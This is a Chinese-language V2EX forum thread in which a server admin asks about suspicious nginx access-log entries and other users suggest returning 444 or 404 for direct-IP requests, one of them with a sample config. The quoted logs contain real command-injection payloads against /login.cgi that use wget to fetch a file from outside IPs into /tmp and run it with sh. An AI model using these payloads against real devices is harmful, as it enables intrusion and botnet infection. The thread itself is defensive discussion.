bephbin
V2EX  ›  NGINX

nginx 安全问题

By bephbin at 2018 年 8 月 22 日 · 6859 次点击

翻看 access.log 时发现有 2 条记录疑似 web 攻击

日志的格式是这样的: '$remote_addr | $remote_user | $host | $http_host [$time_local] "$request" ' '$status $body_bytes_sent "$http_referer" ' '"$http_user_agent" "$http_x_forwarded_for"'

41.42.156.85 | - | _ | - [21/Aug/2018:17:06:15 +0900] "GET /login.cgi?cli=aa%20aa%27;wget%20http://176.32.32.156/bin%20-O%20-%3E%20/tmp/hk;sh%20/tmp/hk%27$ HTTP/1.1" 400 173 "-" "Hakai/2.0" "-"

208.102.74.74 | - | _ | - [21/Aug/2018:20:16:31 +0900] "GET /login.cgi?cli=aa%20aa%27;wget%20http://209.141.33.86/d%20-O%20-%3E%20/tmp/.shinka;sh%20/tmp/.shinka%27$ HTTP/1.1" 400 173 "-" "Gemini/2.0" "-"

我从日志也看不出是通过哪个 host 访问的

请问这个 400 状态会有安全问题吗?

能否把这种请求返回 444 状态码?

14 条回复  •  2018-08-24 10:28:38 +08:00
billlee
   1
billlee  
   2018 年 8 月 22 日
扫描而已,不用太紧张
voocel
   2
voocel  
   2018 年 8 月 22 日 via Android
不要慌,问题不大
iCodex
   3
iCodex  
   2018 年 8 月 22 日
实在是不爽的话?把这些流量全部 302 跳转到你想他们看到的地方去,比如你也搞个蜜罐,或者放一些恐怖恶心的东西?反正人家不是通过你的域名进来的,考虑那么多干嘛呢~
Livid
   4
Livid  
MOD
PRO
   2018 年 8 月 22 日
如果看不出是从哪个 host 访问的,那么很可能就是直接从 IP 访问的。

这种扫描本身问题不大,但是让你的服务暴露在 IP (或者任意域名)下面,是一个更大的问题。
lslqtz
   5
lslqtz  
   2018 年 8 月 22 日
对 IP 的访问,我认为返回 403 是一种合适的选择,除非是你想要看到的特定条件( UA/Host/IP )。
luozic
   6
luozic  
   2018 年 8 月 22 日 via iPhone
非合法链接直接跳个统一 404
totland
   7
totland  
   2018 年 8 月 22 日
ip 访问 return444 就行了
sujin190
   8
sujin190  
   2018 年 8 月 22 日
如果是用云的话,似乎无论是阿里云、腾讯云还是 ucloud,他们都有常规的 web 漏洞扫描,不过也影响不大
huangzxx
   9
huangzxx  
   2018 年 8 月 22 日
ip 访问,返回 444

```
server {
listen 80 default_server;
server_name _;
return 301 https://$host$request_uri;
}

server {
listen 443 default_server ssl http2;
server_name _;

include ssl/ssl.conf;

location / {
return 444;
}

access_log off;
}

```
bephbin
   10
bephbin  
OP
   2018 年 8 月 22 日
@iCodex
@Livid
@luozic
@sujin190
@huangzxx


谢谢各位的回答

自己用 telnet ip 80 的方式重现了日志里的 400 错误。问题是 nginx 对于这种方式的请求是怎么处理的,能返回 444 吗?
luozic
   11
luozic  
   2018 年 8 月 22 日
返回 444 干吊,直接扔 404 默认不行么?
Livid
   12
Livid  
MOD
PRO
   2018 年 8 月 23 日
有的时候你会遇到一种尴尬的恶意情况,就是有人把不属于你的域名指到你的 IP。如果这个 IP 还是一个国内的 IP,那么有可能当地的通管局就会通过 ISP 找你麻烦说未备案域名指向,这种情况下,符合通管局要求的处理方式就是返回 404。
ztlong
   13
ztlong  
   2018 年 8 月 24 日
不看不知道,看到这条帖子把所有非注册的主机名访问日志全打了出来,发现这个 IP 一直发 CONNECT,查了好像是代理请求,我的机器是被当跳板了么,返回不成功还一直试,难道是越挫越勇?
[24/Aug/2018:07:57:06 +0800] 50.118.255.23 - "http://proxyjudge.us" - "GET http://proxyjudge.us/ HTTP/1.1" 501 583 "-" "Mozilla/5.0 (compatible; MSIE 6.0; Windows NT 5.1; Trident/5.0)" "-"
[24/Aug/2018:07:57:07 +0800] 50.118.255.23 - "http://-" - "CONNECT www.alipay.com:443 HTTP/1.1" 400 173 "-" "-" "-"
[24/Aug/2018:09:01:08 +0800] 50.118.255.23 - "http://fr.cyberpods.net" - "GET http://fr.cyberpods.net/ HTTP/1.1" 501 583 "-" "Mozilla/5.0 (compatible; MSIE 6.0; Windows NT 5.1; Trident/5.0)" "-"
ztlong
   14
ztlong  
   2018 年 8 月 24 日
这个是日志格式:'[$time_local] $remote_addr - "$scheme://$http_host" $remote_user "$request" ' '$status $body_bytes_sent "$http_referer" ' '"$http_user_agent" "$http_x_forwarded_for"'
› NGINX
› NGINX Trac
› 3rd Party Modules
› Security Advisories
› CHANGES
› OpenResty
› ngx_lua
› Tengine
在线学习资源
› NGINX 开发从入门到精通
NGINX Modules
› ngx_echo
© 2026 V2EX · 51ms · 3.9.8.5